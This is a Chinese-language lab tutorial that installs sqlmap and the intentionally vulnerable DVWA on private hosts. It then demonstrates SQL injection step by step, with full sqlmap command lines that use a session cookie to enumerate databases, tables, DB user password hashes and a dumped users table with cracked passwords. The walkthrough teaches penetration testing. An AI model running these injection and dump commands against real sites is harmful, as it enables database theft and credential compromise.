安装SQLmap: IP:192.168.94.11
渗透测试演练系统DVWA: IP:192.168.94.111
通过SQLmap检测SQL注入漏洞 :
1.安装SQLmap漏洞查看工具
2.安装渗透测试演练系统DVWA
3.使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码
sql注入概述:
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库
比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击
比如 :12306.cn 帐号和密码泄露
什么是SQLmap?
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)
官方网站下载 : http://sqlmap.org/
安装sqlmap
# 首先安装python
[root@sqlmap ~]# yum -y install python
[root@sqlmap ~]# python -V
Python 2.7. # sqlmap 的安装比较简单,把源码下载下来然后上传到linux
[root@sqlmap ~]# unzip master.zip -d /usr/local/sqlmap
[root@sqlmap ~]# cd /usr/local/sqlmap/
[root@sqlmap sqlmap]# ls
doc lib plugins README.md sqlmapapi.py sqlmap.py thirdparty udf waf
extra LICENSE procs shell sqlmap.conf tamper txt vim-master xml
[root@sqlmap sqlmap]# ./sqlmap.py
# 设置环境变量
[root@sqlmap sqlmap]# vim /etc/profile
alias sqlmap='python /usr/local/sqlmap/sqlmap.py'
[root@sqlmap sqlmap]# source /etc/profile
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞
官方网站:链接地址:http://www.dvwa.co.uk 网站是英国的 ,有时候访问外国的网站可能会打不开
安装渗透测试演练系统DVWA
快速部署DVWA渗透测试环境 , 搭建一个安全系数较低的网站
[root@dvwa ~]# yum install -y httpd mysql-server mysql php php-mysql php-gd
[root@dvwa ~]# systemctl start httpd
[root@dvwa ~]# systemctl start mariadb
php-gd库:gd库是php处理图形的扩展库,gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。 在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表及验证码
测试LAMP环境
[root@dvwa ~]# vim /var/www/html/.php
<?php phpinfo(); ?>
配置mysql数据root用户密码
[root@dvwa ~]# mysqladmin -u root password ""
[root@dvwa ~]# mysql -u root -p123456
# 将下载的dvwa渗透系统代码上传到Linux上 ,并解压到网页根目录下
[root@dvwa ~]# unzip DVWA-master.zip -d /var/www/html/
[root@dvwa ~]# ls /var/www/html/
.php DVWA-master
[root@dvwa ~]# chown -R apache.apache /var/www/html/DVWA-master/
# 编辑/dvwa/config/config.inc.php , 配置数据库信息 ,user和password是MySQL的用户名和密码
# cp配置文件模板
[root@dvwa ~]# cp /var/www/html/DVWA-master/config/config.inc.php{.dist,}
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = ''; # 修改为mysql的root密码
部署DVWA网站系统
在浏览器中输入:http://192.168.94.111/DVWA-master/setup.php
解决环境问题
[root@dvwa ~]# vim /etc/php.ini
# allow_url_include = Off 把Off改为On
[root@dvwa ~]# systemctl restart httpd
刷新页面
reCAPTCHA概述:
CMU设计了一个名叫reCAPTCHA的强大系统,让他们的电脑去向人类求助。具体做法是:将OCR软件无法识别的文字扫描图传给世界各大网站,用以替换原来的验证码图片;那些网站的用户在正确识别出这些文字之后,其答案便会被传回CMU
CAPTCHA:验证码
哪怎么获取验证码呢?
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create # 需要去 https://www.google.com/recaptcha 注册
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';
recaptcha 的首页
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php $_DVWA[ 'recaptcha_public_key' ] = '6LdDSWgUAAAAAH8te4z-0PhAD0AobWyGzBJUBOle';
$_DVWA[ 'recaptcha_private_key' ] = '6LdDSWgUAAAAABd7U8XHHSYuB5LnSfnpZ7B90jaW';
[root@dvwa ~]# systemctl restart httpd
刷新浏览器
后期登录:
http://192.168.94.111/DVWA-master/login.php
dvwa的登录界面的默认用户名和密码为admin和password
到这DVMA就部署完了
接下来就开始SQL注入了
SQLmap探测sql注入漏洞 :
1.枚举登录MYSQL数据的用户名与密码
2.枚举所有数据库
3.枚举指定数据库的数据表
4.枚举指定数据表中的所有用户名与密码
语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等
使用SQLmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态,这里使用Firefox中名为“TamperData”的插件获取
Tamper Data是一个用于跟踪和修改http/https请求和POST参数的扩展
为方便演示,我们将DVWA安全等级设置为low
输入账号密码登录
可以抓到当前会话的cookie及提及表单的用户admin和密码password
找到sql注入点
接下来以火狐浏览器登录:http://192.168.1.63/DVWA-1.9/index.php
进入页面的“SQL Injection”部分,输入任意值并提交。可以看到get请求的ID参数如下:
http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
这里有提交sql语句的地方,所以就是我们的一个sql注入点 , 因此该页面就是我们的目标页面
获取当前页面的cookie信息 :
cookie的值抓到了
接下来该轮到SQLmap登场了
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -b --current-db --current-user
使用选项:
1、--cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”
2、-u : 指定目标URL,syql注入点
3、-b : 获取DBMS banner (DBMS:Database Management System 数据库管理系统)
4、--current-db : 获取当前数据库
5、--current-user :获取当前用户
中间会遇到几个选项,一路选择y就可以了
结果如下 :
1.使用命令用来枚举所有登录msyql数据库的用户名和密码hash值,后期可以对密码hash进行破解,生成明文密码
2.枚举系统中所有的数据库名
3.枚举dvwa数据表
4.获取dvwa库中users表的所有列名字
5.提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来
cookie 和 sql注入点永远不变
1 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' --string="Surname" --users --password
使用选项:
1、--string : 当查询可用时用来匹配页面中的字符串
2、--users : 枚举DBMS用户
3、--password : 枚举DBMS用户密码hash
一路小y加回车就行
因为密码太简单 , 所以被秒解
到现在为止我们已经知道,当前数据库是mariadb 5.5.56, 登录mysql的root密码为:123456
2 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' --dbs
使用选项:
--dbs: 枚举DBMS中的所有数据库
3 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -D dvwa --tables
使用选项:
1、-D : 要枚举的DBMS数据库
2、--tables : 枚举DBMS数据库中的数据表
4 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' D dvwa -T users --columns
使用选项:
-T : 要枚举的DBMS数据库表
--columns : 枚举DBMS数据库表中的所有列
拖库 :
提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -D dvwa -T users -C user,password --dump
使用选项:
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
--dump : 转储DBMS数据表项
SQLmap会提问是否破解密码,按回车确认
尽管我们用的数据库中密码是经过md5加密的,但是sqlmap可以导出sql数据,帮你解析成明文密码
查看导出的数据 :
[root@sqlmap ~]# cat /root/.sqlmap/output/192.168.94.111/dump/dvwa/users.csv
user,password
,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)
到这我们就利用SQLmap渗透到一个有漏洞的网站 , 并获得了后台管理员admin的账号和密码